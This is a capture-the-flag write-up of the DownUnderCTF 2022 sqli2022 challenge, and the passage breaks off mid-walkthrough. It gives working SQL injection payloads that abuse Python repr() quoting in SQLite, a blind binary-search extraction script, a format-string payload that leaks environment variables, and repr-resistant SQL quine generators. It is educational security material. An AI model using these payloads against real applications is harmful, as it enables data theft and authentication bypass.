DUCTF - sqli2022 challenge (web)

Posted on

@hash_kitten wrote an absolute cracker of an SQL injection challenge for DownUnderCTF 2022 involving Python’s repr(), Python format string exploitation, and the use of an SQL quine. This is the story of our pain and suffering solving it.

DUCTF

DownUnderCTF (or DUCTF) is a premium CTF from Australia. The challenges are fantastic, the organisers/infra team/challenge authors are lovely, and the community is pretty okay ❀️ I said it last year in my Bullet Hell writeup, if you enjoy a good CTF you should definitely put it on your calendar for next year!

@hash_kitten

@hash_kitten wrote the sqli2022 challenge, among others, and is a menace. I really enjoyed his challenges, but they were devilishly difficult.

A meme showing the four types of headaches, with “solving hash kitten challenges” being a whole-head headache

For example, minimal-php was a completely toxic PHP challenge which involved using just the following:

<?php file($_POST[0]);

To leak the contents of the file /flag. The official solution is a work of art. My hat very much goes off to @hash_kitten.

Our Team

Big ups to my TDG teammates Brendan, MÑrcio, Multiplex3r and Lloyd. Teamwork makes the dream work 🀘

The sqli2022 challenge

The sqli2022 challenge source code, and hash_kitten’s example solution, is posted at https://github.com/DownUnderCTF/Challenges_2022_Public/tree/main/web/sqli2022

The briefing says:

SQL injection challenges are still a thing in 2022!?!?

A SQL injection challenge? In my DUCTF?

We’re given two files. The Dockerfile is straightforward:

FROM python:3.10

WORKDIR /app
COPY app.py .

RUN pip3 install flask

ARG FLAG
ENV FLAG=$FLAG

CMD ["python3", "-m", "flask", "run", "--host=0.0.0.0"]

app.py reads as follows:

from flask import Flask, request
import textwrap
import sqlite3
import os
import hashlib

assert len(os.environ['FLAG']) > 32

app = Flask(__name__)

@app.route('/', methods=['POST'])
def root_post():
    post = request.form
    
    # Sent params?
    if 'username' not in post or 'password' not in post:
        return 'Username or password missing from request'

    # We are recreating this every request
    con = sqlite3.connect(':memory:')
    cur = con.cursor()
    cur.execute('CREATE TABLE users (username TEXT, password TEXT)')
    cur.execute(
        'INSERT INTO users VALUES ("admin", ?)',
        [hashlib.md5(os.environ['FLAG'].encode()).hexdigest()]
    )
    output = cur.execute(
        'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
        .format(post=post)
    ).fetchone()
    
    # Credentials OK?
    if output is None:
        return 'Wrong credentials'
    
    # Nothing suspicious?
    username, password = output
    if username != post["username"] or password != post["password"]:
        return 'Wrong credentials (are we being hacked?)'
    
    # Everything is all good
    return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)

@app.route('/', methods=['GET'])
def root_get():
    return textwrap.dedent('''
       <html>
         <head></head>
         <body>
           <form action="/" method="post">
             <p>Welcome to admin panel!</p>
             <label for="username">Username:</label>
             <input type="text" id="username" name="username"><br><br>
             <label for="password">Password:</label>
             <input type="text" id="password" name="password"><br><br>
             <input type="submit" value="Submit">
          </form> 
         </body>
       </html>
    ''').strip()

First impressions

Reviewing what we’re given, we can determine the following:

  • There is an environment variable named (aptly) FLAG. The flag doesn’t exist on disk.
  • The code asserts that the length of the flag is > 32 chars
  • There is an in-memory SQLite database with a table called users. It contains a row with a username of “admin” and a password of md5(os.environ['FLAG'])
  • We are expected to POST a username and password
  • The users table is queried for this username and password, using Python repr() to handle quoting of the values. A single row is retrieved.
    • If nothing is returned by the database, we get the message “Wrong credentials”
    • Else, the app checks that the username and password returned by the database query match the username and password that we POSTed. If it doesn’t match, we get “Wrong credentials (are we being hacked?)”
    • Else, we get “Welcome back $USERNAME the flag is in FLAG”

Very quickly, my teammate Brendan said “This looks like a challenge I saw recently involving an SQL quine”. I wasn’t so sure about that at the time. Until I was.

Layers

sqli2022 is like an onion. It has layers, and the more you peel them the more it makes you cry.

Layer one: The SQL Injection

output = cur.execute(
    'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
    .format(post=post)
).fetchone()

The challenge is using the !r format specifier to invoke Python’s repr() (documentation) to handle quoting of the submitted username and password.

repr()’s job is to take a Python object and return a string. For primitive types such as string, what it gives back can be copypasted into a Python script to give you the original value. I think of it (perhaps incorrectly) as the JSON.stringify() of Python things. Serialize, in a relatively human-friendly way, a value, such that it can be thrown to an eval() sink (don’t do that) to get the original value back.

When used naively, repr() seems like a reasonable way to interpolate a value into an SQL query. It turns out it’s not, probably depending on the type of database in use? But up front, you shouldn’t be hand-wringing about how to escape values in an SQL query anyway. Generally speaking you should use prepared statements, also known as query parameterisation (OWASP documentation, Python sqlite3 documentation)

To explore the behaviour of repr() let’s pop into a Python REPL and take it for a spin.

% python3
Python 3.7.3 (default, Jan 22 2021, 20:04:44)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

>>> print("aaa {foo!r} bbb".format(foo="bar"))
aaa 'bar' bbb

Ordinarily, repr() returns a string value passed to it with single quotes around the outside. Again, perfect for interpolating values into an SQL query, or so it would seem.

>>> print("aaa {foo!r} bbb".format(foo="bar\"bar"))
aaa 'bar"bar' bbb

Introducing a double quote is no problem. repr() was surrounding the returned value with single quotes, which nicely trap/contain a double quote within their bounds.

>>> print("aaa {foo!r} bbb".format(foo="bar'bar"))
aaa "bar'bar" bbb

Introduce a single quote into the string being repr()’d and things change. Python keeps things nice and tidy, swapping the surrounding single quotes for double quotes, so that the single quote can be nestled safely inside.

>>> print("aaa {foo!r} bbb".format(foo="bar'\"bar"))
aaa 'bar\'"bar' bbb

Finally, given both a single quote and a double quote, Python throws its hands in the air and says “Well what do you want me to do. Look, I’ll single-quote the value, and I’ll escape the single quote within using a backslash. Happy?” The result is that things are still nicely contained within some form of quotes, and quotes within that would normally end the party early get a slashy boi put in front.

Indeed, this little bundle can be copypastad into Python to yield the original value:

>>> foo = 'bar\'"bar'
>>> print(foo)
bar'"bar

To explore the suitability of using repr() to protect against SQL injection, let’s write a short function that recreates the heart of the challenge.

#!/usr/bin/env python3
import sqlite3


def query(username: str, password: str):
    con = sqlite3.connect(':memory:')
    cur = con.cursor()
    cur.execute("CREATE TABLE users (username TEXT, password TEXT)")
    cur.execute('INSERT INTO users VALUES ("admin", "password")')

    query = f"SELECT * FROM users WHERE username = {username!r} AND password = {password!r}"
    print("Query: " + query)

    try:
        res = cur.execute(query).fetchone()
    except sqlite3.OperationalError as e:
        print(f"SQLite error: {e}")
        return
    print(f"Database result: {res}")

    if res is None:
        print("Wrong credentials")
        return

    username_out, password_out = res

    if username_out != username or password_out != password:
        print("Wrong credentials (are we being hacked?)")
        return

    print(f"Welcome back {username}! The flag is in FLAG.".format(username=username))

A quick note. Even though this document is (as best I can recall) faithful to my thought process when working through the challenge, code such as the above was written afterwards, outside of the stresses of the contest with some hindsight as to what I want to demonstrate. It’s written to demonstrate a point. My code and my thinking during a CTF is much more tactical (read: messy πŸ˜…)

Running this using python3 -i drops us into a REPL with the query() function ready for use.

% python3 -i app_playground.py
>>> query("admin", "password")
Query: SELECT * FROM users WHERE username = 'admin' AND password = 'password'
Database result: ('admin', 'password')
Welcome back admin! The flag is in FLAG.

Perfect. Querying for the username “admin” and the password “password” behaves as expected. We see that the query that was sent to the database looks quite sensible, we get a row (the only row in the table) in response, and our welcome message follows.

>>> query('aaaa"bbbb', 'cccc"dddd')
Query: SELECT * FROM users WHERE username = 'aaaa"bbbb' AND password = 'cccc"dddd'
Database result: None
Wrong credentials

Querying for values containing double quotes also looks sensible. The double quotes are trapped within the surrounding single quotes given by repr(). We don’t get a row in response, but that makes sense, there is no user aaaa"bbbb with a password of cccc"dddd.

>>> query("aaaa'bbbb", "cccc'dddd")
Query: SELECT * FROM users WHERE username = "aaaa'bbbb" AND password = "cccc'dddd"
Database result: None
Wrong credentials

Queries for values containing single quotes also looks quite sensible. repr() has swapped the outer single quotes for double quotes, which SQLite is happy to accept (Apparently for compatibility with MySQL 3.x which the team now regrets? See https://www.sqlite.org/quirks.html and Ctrl-F for “misfeature”).

>>> query("aaaa'\"bbbb", "cccc'\"dddd")
Query: SELECT * FROM users WHERE username = 'aaaa\'"bbbb' AND password = 'cccc\'"dddd'
SQLite error: near ""bbbb' AND password = 'cccc\'"": syntax error

Values containing single and double quotes cause things to fall apart, perhaps surprisingly so. SQLite has thrown a syntax wobbly. But why? The values are being single quoted and single quotes within are preceded by a backslash. They’re escaped, right? What gives?

Escaping quotes within SQL strings, aka “I always get confused about this too but it doesn’t matter you should be parameterising your SQL queries anyway”

Let’s switch gears for a moment and jump into MySQL land.

Spin one up:

% sudo -g docker docker run --rm --name mysql -e MYSQL_RANDOM_ROOT_PASSWORD=1 mysql
[... SNIP ...]
2022-09-25 13:30:07+00:00 [Note] [Entrypoint]: GENERATED ROOT PASSWORD: ab4XeVaethah6sei0ibeiZah3ahngohm
[... SNIP ...]

And in another shell connect to it:

% sudo -g docker docker exec -ti mysql mysql -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 8.0.22 MySQL Community Server - GPL

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

(I really should docker pull mysql but I only ever run it for things like this I promise)

From here, we can do a minimal query which is similar to the one that caused SQLite to get cranky:

mysql> select 'aaa\'bbb';
+---------+
| aaa'bbb |
+---------+
| aaa'bbb |
+---------+
1 row in set (0.00 sec)

MySQL doesn’t mind this quoting strategy. In fact, its documentation says that single quotes (and other special characters) should be escaped by prefixing them with a backslash.

So then what’s going on with SQLite?

Repeating this minimal exercise in SQLite gives an interesting result:

% sqlite3
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> SELECT 'aaa\'bbb';
   ...>

SQLite isn’t executing our SELECT query. In fact, it’s telling us we’re still stuck inside some unclosed context. Probably a single quote context. Giving it another single quote and the query-ending semicolon causes SQLite to wrap things up and complain about a syntax error:

sqlite> SELECT 'aaa\'bbb';
   ...> ';
Error: near "';
'": syntax error

As it turns out, SQLite wants you to escape a single quote by doubling it up:

sqlite> SELECT 'aaa''bbb';
aaa'bbb

MySQL also accepts this way of working:

mysql> select 'aaa''bbb';
+---------+
| aaa'bbb |
+---------+
| aaa'bbb |
+---------+
1 row in set (0.00 sec)

And for the record, PostgresSQL works in a similar way to SQLite.

I started wondering if there was “a” SQL standard I could look up that might specify which quote escaping mechanism if either is the “right” one, then I decided I didn’t want to do that.

The moral of the story is, if you’re like me, when you think of escaping quotes in SQL strings (or generally escaping any special character in any context), your go-to solution is to whack a backslash on the front of it.

Man applies Flex Tape to water leak, but the water leak is a single quote and the Flex Tape is a backslash

It turns out the correct thing to do is to consult your DBMS documentation and use its escaping strategy. Actually, the correct thing to do is probably use a library function suitable for your DBMS to do so. But actually the correct way to escape potentially harmful characters in dynamic data within your SQL query is not to use escaping, it is to use πŸ‘ query πŸ‘ parameterisation.

Back to the SQL Injection bug

Recall our ability to make the app’s query logic go explodey:

>>> query("aaaa'\"bbbb", "cccc'\"dddd")
Query: SELECT * FROM users WHERE username = 'aaaa\'"bbbb' AND password = 'cccc\'"dddd'
SQLite error: near ""bbbb' AND password = 'cccc\'"": syntax error

I found a cleaner and more useful injection, being:

>>> query("aaaa\"'", "bbbb")
Query: SELECT * FROM users WHERE username = 'aaaa"\'' AND password = 'bbbb'
SQLite error: near "bbbb": syntax error

In this case, I believe that SQLite is seeing things as follows:

SELECT *
FROM users               v-- Doubled-up escaped quote
WHERE username = 'aaaa"\'' AND password = '
bbbb'            \---- All one string ----/
  ^-- Junk

The beginning of our password field is outside of any string context (The single quote at the beginning of 'bbbb' is actually the ending quote of the cursed “All one string” as shown above). We have control of the SQL query.

However, we need to ensure that we either:

  • Do not use single quotes in the password field, as doing so will cause the outer quotes to become double quotes breaking the injection; OR
  • Use single quotes in the password field only if we are also using double quotes in the password field, accepting the fact that in doing so the app will put backslashes in front of our single quotes.

Making use of the injection could look something like the following:

>>> query("aaaa\"'", " OR 1=1;-- -")
Query: SELECT * FROM users WHERE username = 'aaaa"\'' AND password = ' OR 1=1;-- -'
Database result: ('admin', 'password')
Wrong credentials (are we being hacked?)

>>> query("aaaa\"'", " OR 1=0;-- -")
Query: SELECT * FROM users WHERE username = 'aaaa"\'' AND password = ' OR 1=0;-- -'
Database result: None
Wrong credentials

>>> query("aaaa\"'", " UNION SELECT 111, 222;-- -")
Query: SELECT * FROM users WHERE username = 'aaaa"\'' AND password = ' UNION SELECT 111, 222;-- -'
Database result: (111, 222)
Wrong credentials (are we being hacked?)

The first two injections demonstrate that we have a boolean query primitive, where if our injection is truthy we get an error message that includes the text “are we being hacked?” while a falsey injection does not include this text. The third injection demonstrates that we also have a union primitive, but at first glance it’s not that useful to us. Because what we get back from the database does not match what we gave to the login function, we only get the “are we being hacked?” error message.

At this point, feeling like the dog that had caught the proverbial car, I decided to waste some time by building upon this boolean query primitive to leak data using a binary search. My during-the-CTF code looked like the following:

#!/usr/bin/env python3
import requests
from hashlib import md5


class Exploit:
    session: requests.Session

    def __init__(self, url: str):
        self.session = requests.session()
        self.url = url

    def inject(self, query: str):
        r = self.session.post(url=self.url,
                              data={
                                  "username": "aaaa\"'",
                                  "password": f" OR {query};-- -",
                              })
        return "are we being hacked" in r.text

    def run(self):
        assert self.inject("1=1") is True
        assert self.inject("1=0") is False
        assert self.inject('"a"="a"') is True
        assert self.inject('"a"="b"') is False
        password = []
        for i in range(len(md5(b"").hexdigest())):
            # Cursed binary search
            # Adapted from the pseudocode on Wikipedia and tweaked until it worked
            # It's probably wrong. I'm a CTF'er not a computer scientist.
            l = 0
            r = 255
            for _ in range(8):
                if l > r:
                    raise Exception("Binary search failed")
                m = int((l + r)/2)
                if self.inject(f'(SELECT hex(substr(password, {i+1}, 1)) FROM users WHERE username = "admin") > "{m:02x}"'):
                    l = m + 1
                else:
                    r = m - 1
            password.append(chr(l))
        print("".join(password))


def main(url: str):
    exploit = Exploit(url)
    exploit.run()


if __name__ == "__main__":
    url = "https://web-sqli2022-85d13aec009e.2022.ductf.dev/"
    main(url)

When run, it prints the value 7bfa59cfea0acddde97ab7c24e2a3ea2 which is indeed the admin’s password:

% curl https://web-sqli2022-85d13aec009e.2022.ductf.dev/ \
    --data 'username=admin&password=7bfa59cfea0acddde97ab7c24e2a3ea2'
Welcome back admin! The flag is in FLAG.

It’s also the md5sum of the flag:

% echo -n 'DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}' | md5sum
7bfa59cfea0acddde97ab7c24e2a3ea2  -

Despite the flag’s most helpful suggestion (Which of course I did not know the contents of at the time), cracking this hash was off the table. The app asserts that the value of the flag is greater than 32 characters (presumably to discourage any attempt at cracking it). Even if we were to wrongly assume a 33 character flag, discard the DUCTF{} wrapper, and wrongly assume that the guts of the flag only contained lowercase characters, cracking it at 100 billion hashes per second would still take checks notes approximately forever to crack, on average.

I thought this binary searcher might come in handy if we could, say, trick SQLite into running a query where the result includes environment variables. We could not find a way to do this, and I doubt there is a way.

The second onion layer: Leaking environment variables

With cracking the hash being unreasonable even for my usual tactical completely cracked out CTF approach, our best bet for getting the flag would be from the environment.

After reading the code more carefully, I noticed the following:

# Everything is all good
return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)

This is the message that is printed if:

  • The SQL query returns a row; and
  • The username and password given by the user match those returned from the database

What’s interesting about it is that it uses both Python’s f-strings as well as its str.format() (documentation). They are both fine ways of interpolating dynamic data into strings (Unless the string you’re interpolating into is an SQL query, in which case don’t make me tap the sign). But you should only need to and want to use one at a time.

Diving back into our REPL to explore how f-strings and str.format() work:

>>> what = "give"

>>> print(f"Never gonna {what} you up")
Never gonna give you up

>>> print("Never gonna {what} you up".format(what=what))
Never gonna give you up

>>> print(f"Never gonna {what} you up".format(what=what))
Never gonna give you up

All of these are fine. Using an f-string successfully interpolates the what variable’s value into the string, as does str.format(), and as does using them both at once (as is done by the challenge).

However, using both at once gives rise to a Python-flavoured format string vulnerability, as is discussed here and here and here and certainly in other places too.

Take for example the following:

>>> what = "{what.__class__}"

>>> print(what)
{what.__class__}

>>> print(f"Never gonna {what} you up".format(what=what))
Never gonna <class 'str'> you up

What (heh) is going on here? I don’t know whether the f-string or the str.format() gets to take action first, but if we assume it’s the f-string, it will produce the following innocent-looking string:

>>> print(f"Never gonna {what} you up")
Never gonna {what.__class__} you up

str.format() then gets its chance to do its job. It’s given an argument of what=what. It seeks within the string, looking for placeholders where its what can deliver value, and it finds it in the form of what.__class__. It substitutes what for what, causing its __class__ attribute to be resolved and included in the final product:

>>> print("Never gonna {what.__class__} you up".format(what=what))
Never gonna <class 'str'> you up

I’m sure there’s a name for this class of vulnerability. Double interpolation perhaps? Where the first round of interpolation allows an attacker to introduce metacharacters into the string which will be acted upon improperly by a second round of interpolation? You see it with things like SSTI and Expression Language Injection more generally.

Can this be used to leak environment variables? It’s a bug in a CTF challenge’s quite short source code, so surely it can.

Now, despite the proof of concept above inspired by the 80s dance hit “Never Gonna Give You Up” (go on, click it) we need to keep in mind what we’re actually working with:

return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)

In this context, post is a werkzeug.datastructures.ImmutableMultiDict as given by Flask’s Request.post (https://flask.palletsprojects.com/en/2.2.x/api/#flask.Request.form)

Borrowing from SSTI (particularly Jinja2) tricks, I rummaged around in its __class__ and __mro__ and other dark and dingy places. I did so by having a local copy of the vulnerable app running in a Python debugger and breaking in once post was set. I could not reproduce the work outside of this context.

Eventually I found the following, inspired by various blog posts:

>>> post.__init__.__globals__['os'].environ['DISPLAY']
':0'

For reasons that aren’t entirely clear to me, when exercising this in a format string context within the Flask app only, the quotes around os and DISPLAY (or, in the case of the contest, FLAG) were not needed.

If we:

  1. Run the vulnerable app in a debugger with a breakpoint set after post is defined
  2. POST a username containing this string
  3. Experiment in the console of the debugged app

Then we can test to see what would be returned to the user assuming a successful login had occurred with this username, demonstrating that we can leak arbitrary environment variables:

% curl http://172.18.0.13:4448/ \
    --data 'username={post.__init__.__globals__[os].environ[DISPLAY]}&password=bbbb'
>>> post
ImmutableMultiDict([('username', '{post.__init__.__globals__[os].environ[DISPLAY]}'), ('password', 'bbbb')])

>>> print(f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post))
Welcome back :0! The flag is in FLAG.

Recap

We have:

  • A SQL Injection primitive with demonstrable UNION capabilities
  • A Python format string bug with demonstrable environment leaking capabilities
  • A flag in the environment

What we need to do is leverage the SQL Injection’s UNION capability to allow us to log in as a user where the username contains our environment-leaking format string gizmo and we’re home and hosed.

It’s never that easy though.

Throwing what we have at our lab reproduction of the application:

>>> query('aaaa"\'', ' UNION SELECT "post.__init__.__globals__[os].environ[FLAG]", "zzzz";-- -')
Query: SELECT * FROM users WHERE username = 'aaaa"\'' AND password = ' UNION SELECT "post.__init__.__globals__[os].environ[FLAG]", "zzzz";-- -'
Database result: ('post.__init__.__globals__[os].environ[FLAG]', 'zzzz')
Wrong credentials (are we being hacked?)

Our UNION injection is working a treat, but we’re getting caught by the code that ensures the username and password we have given match the values returned by the database:

# Nothing suspicious?
username, password = output
if username != post["username"] or password != post["password"]:
    return 'Wrong credentials (are we being hacked?)'

We need to do an SQL injection in either the username or password field (we’re currently injecting into the password field, but during the CTF I was also toying with an injection through the username field) and the injection needs to result in a UNION but what’s being UNION’d in needs to contain a copy of the SQL injection payload itself.

But how can you have an SQL injection payload which UNIONs in some data which is self-referential and includes a copy of itself? I think there’s a cursed hack with MySQL’s information_schema or something, to essentially query the currently running queries to get a copy of yourself, but there seems to be no such trick in SQLite.

In fact, as soon as I noticed the format string bug in the code, knowing that it came after this security check, I said to Brendan “You were totally right. We need a quine.”

Layer three: Quines

A quine, per Wikipedia, is:

a computer program which takes no input and produces a copy of its own source code as its only output. The standard terms for these programs in the computability theory and computer science literature are “self-replicating programs”, “self-reproducing programs”, and “self-copying programs”.

Wikipedia goes on to say that quines are possible in any Turing-complete programming language thanks to Kleene’s recursion theorem, which is a very computer science-y sounding thing indeed.

Put more simply, a quine is a program that prints its own source code. And writing one is harder than it sounds.

Given, say, Python, we might start off with something like:

print()

But this is printing nothing. It needs to print the code that does “print nothing”. A bit of Ctrl-C and Ctrl-V and we get:

print("print()")

But the goalposts have moved. By changing the code, we changed what we needed to print. We now need to print the code that prints code that prints nothing. No worry, Ctrl-C and Ctrl-V and:

print('print("print()")')

Uh oh. We’re going to be here for a while.

Hmm. A Python program can get the path to itself using __file__. Let’s write a program that opens itself, reads its contents, and prints it.

% cat cursedquine.py
import sys
sys.stdout.write(open(__file__, "r").read())
% python3 cursedquine.py
import sys
sys.stdout.write(open(__file__, "r").read())

Success! Or perhaps not.

This is called out by Wikipedia as a type of “Cheating” quine" because a quine should take no input, and thus should not be allowed to read a file (including itself). It’s also not very useful for the problem we have at hand.

Wikipedia instead gives the following example of a Python quine:

% cat quine.py
a = 'a = {}{}{}; print(a.format(chr(39), a, chr(39)))'; print(a.format(chr(39), a, chr(39)))

% python3 quine.py
a = 'a = {}{}{}; print(a.format(chr(39), a, chr(39)))'; print(a.format(chr(39), a, chr(39)))

No reaching into __file__. Just good old fashioned printing which (somehow) emits a representation of the code doing the printing.

Given an SQL-flavoured quine, we could have a shot at producing an SQL injection payload that emits itself in some UNION’d data.

SQL Quines

Brendan had already shared a writeup titled SQLi Quine, and also useful during the CTF was a writeup for LockPickDuck v3, a writeup for hardsql and a SQLite quine from the Quine Museum.

Running some of these in a SQLite shell demonstrates and validates the concept of an SQL query which returns itself, and thus hopefully the concept of an SQL injection payload which returns part of the query in a UNION:

sqlite> SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine;
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

sqlite> select printf(s,s)from(select'select printf(s,s)from(select%Qas s);'as s);
select printf(s,s)from(select'select printf(s,s)from(select%Qas s);'as s);

Stealing the quine generator from the SQLi Quine writeup and adding it alongside our query harness gives us:

#!/usr/bin/env python3
import sqlite3


def query(username: str, password: str):
    con = sqlite3.connect(':memory:')
    cur = con.cursor()
    cur.execute("CREATE TABLE users (username TEXT, password TEXT)")
    cur.execute('INSERT INTO users VALUES ("admin", "password")')

    query = f"SELECT * FROM users WHERE username = {username!r} AND password = {password!r}"
    print("Query: " + query)

    try:
        res = cur.execute(query).fetchone()
    except sqlite3.OperationalError as e:
        print(f"SQLite error: {e}")
        return
    print(f"Database result: {res}")

    if res is None:
        print("Wrong credentials")
        return

    username_out, password_out = res

    if username_out != username or password_out != password:
        print("Wrong credentials (are we being hacked?)")
        return

    print(f"Welcome back {username}! The flag is in FLAG.".format(username=username))


def raw_query(query: str):
    con = sqlite3.connect(':memory:')
    cur = con.cursor()
    return cur.execute(query).fetchall()


def quine(query: str) -> str:
    query = query.replace('$$', "REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
    blob = query.replace('$$', '"$"').replace("'", '"')
    query = query.replace('$$', "'" + blob + "'")
    return query

Again using python3 -i to drop into a REPL for this script allows us to play with the quine generator.

How the function works is that it replaces $$ in the query you give to it with a quine which reproduces the entirety of the query you gave.

For example:

% python3 -i app_playground.py

>>> myquery = quine("SELECT 1, 2, $$;")

>>> print(myquery)
SELECT 1, 2, REPLACE(REPLACE('SELECT 1, 2, REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$");',CHAR(34),CHAR(39)),CHAR(36),'SELECT 1, 2, REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$");');

>>> # Line wrapping for readability, if you could call it that
>>> from textwrap import wrap
>>> print("\n".join(wrap(myquery)))
SELECT 1, 2, REPLACE(REPLACE('SELECT 1, 2, REPLACE(REPLACE("$",CHAR(34
),CHAR(39)),CHAR(36),"$");',CHAR(34),CHAR(39)),CHAR(36),'SELECT 1, 2,
REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$");');

Running this query indeed returns the query:

>>> raw_query(myquery)[0]
(1, 2, 'SELECT 1, 2, REPLACE(REPLACE(\'SELECT 1, 2, REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$");\',CHAR(34),CHAR(39)),CHAR(36),\'SELECT 1, 2, REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$");\');')

>>> raw_query(myquery)[0][2] == myquery
True

This is a super powerful capability, nicely wrapped up into a generating function. Without this I think we would have struggled. Big thanks to Kelson of ShySecurity for making it available.

The problem is, the generated quine contains both single quotes and double quotes. By using it in our injection, repr() is going to put backslashes in front of the single quotes, breaking the integrity of the quine and even the injection itself.

>>> password = quine(" UNION SELECT $$, 2;-- -")

>>> print(password)
 UNION SELECT REPLACE(REPLACE(' UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$"), 2;-- -',CHAR(34),CHAR(39)),CHAR(36),' UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$"), 2;-- -'), 2;-- -

>>> query(username="aaaa\"'", password=password)
Query: SELECT * FROM users WHERE username = 'aaaa"\'' AND password = ' UNION SELECT REPLACE(REPLACE(\' UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$"), 2;-- -\',CHAR(34),CHAR(39)),CHAR(36),\' UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$"), 2;-- -\'), 2;-- -'
SQLite error: unrecognized token: "\"

Where we stand is:

  • Our injection will be modified by repr(), putting backslashes in front of single quotes
  • The modified injection will be sent to the database in the password part of the query, yielding a username and password
  • The password yielded by the database must match our unmodified injection, i.e. before backslashes were edited

Much trial and error and tweaking of the quine() function gave us a quine generator that would perform despite repr()’s backslash-prefixing behaviour, and would result in output that matched the pre-backslashing version of the quine. It boiled down to carefully choosing the form of quotes used in various parts of the quine generator, and adding a replace() to strip all uses of backslash by substituting char(92) with char(). Perhaps not all of this was necessary, but during the heat of a CTF, once something is working you don’t ask questions and you stop touching it πŸ˜…

Our modified quine generator and a quick test is as follows:

def quine(query: str) -> str:
    query = query.replace('$$', "REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
    blob = query.replace('$$', '"$"').replace("'", '"')
    query = query.replace('$$', "'" + blob + "'")
    return query


def repr_quine(data):
    data = data.replace('$$', "REPLACE(REPLACE(REPLACE($$,CHAR(39),CHAR(34)),CHAR(36),$$), CHAR(92), CHAR())")
    blob = data.replace("'", '"').replace('$$', "'$'")
    data = data.replace('$$', f'"{blob}"')
    return data


def test_repr_quine():
    con = sqlite3.connect(':memory:')
    cur = con.cursor()
    cur.execute("CREATE TABLE users (username TEXT, password TEXT)")

    injectable = "SELECT * FROM users WHERE username = {injection1!r} and password = {injection2!r};"
    injection2 = repr_quine(" UNION SELECT 1337, $$;-- -")
    myquery = injectable.format(injection1="aaaa\"'",
                                injection2=injection2)
    print("Query: " + myquery)
    res = cur.execute(myquery).fetchone()
    print("Response: " + str(res))
    assert res[1] == injection2, "Password response didn't match injection2"
    print(r"Password response matched injection2 \m/")
% python3 -i app_playground.py
>>> test_repr_quine()
Query: SELECT * FROM users WHERE username = 'aaaa"\'' and password = ' UNION SELECT 1337, REPLACE(REPLACE(REPLACE(" UNION SELECT 1337, REPLACE(REPLACE(REPLACE(\'$\',CHAR(39),CHAR(34)),CHAR(36),\'$\'), CHAR(92), CHAR());-- -",CHAR(39),CHAR(34)),CHAR(36)," UNION SELECT 1337, REPLACE(REPLACE(REPLACE(\'$\',CHAR(39),CHAR(34)),CHAR(36),\'$\'), CHAR(92), CHAR());-- -"), CHAR(92), CHAR());-- -';
Response: (1337, ' UNION SELECT 1337, REPLACE(REPLACE(REPLACE(" UNION SELECT 1337, REPLACE(REPLACE(REPLACE(\'$\',CHAR(39),CHAR(34)),CHAR(36),\'$\'), CHAR(92), CHAR());-- -",CHAR(39),CHAR(34)),CHAR(36)," UNION SELECT 1337, REPLACE(REPLACE(REPLACE(\'$\',CHAR(39),CHAR(34)),CHAR(36),\'$\'), CHAR(92), CHAR());-- -"), CHAR(92), CHAR());-- -')
Password response matched injection2 \m/

Looks good! When used in a repr() context, repr_quine() can produce an injection fragment that does a UNION which returns itself.

Constructing a horrifying username and password combination and throwing it at the local simulation of the challenge also looks promising:

>>> # Set the username to leak FLAG via the format string bug
>>> envleak = "{post.__init__.__globals__[os].environ[FLAG]}"
>>> username = envleak + "\"'"

>>> # Set the password to do a quine-y injection of the above
>>> # username alongside itself
>>> password = f" UNION SELECT CHAR({','.join(str(ord(c)) for c in username)}), $$;-- -"
>>> print(password)
 UNION SELECT CHAR(123,112,111,115,116,46,95,95,105,110,105,116,95,95,46,95,95,103,108,111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,105,114,111,110,91,70,76,65,71,93,125,34,39), $$;-- -
>>> password = repr_quine(password)
>>> print(password)
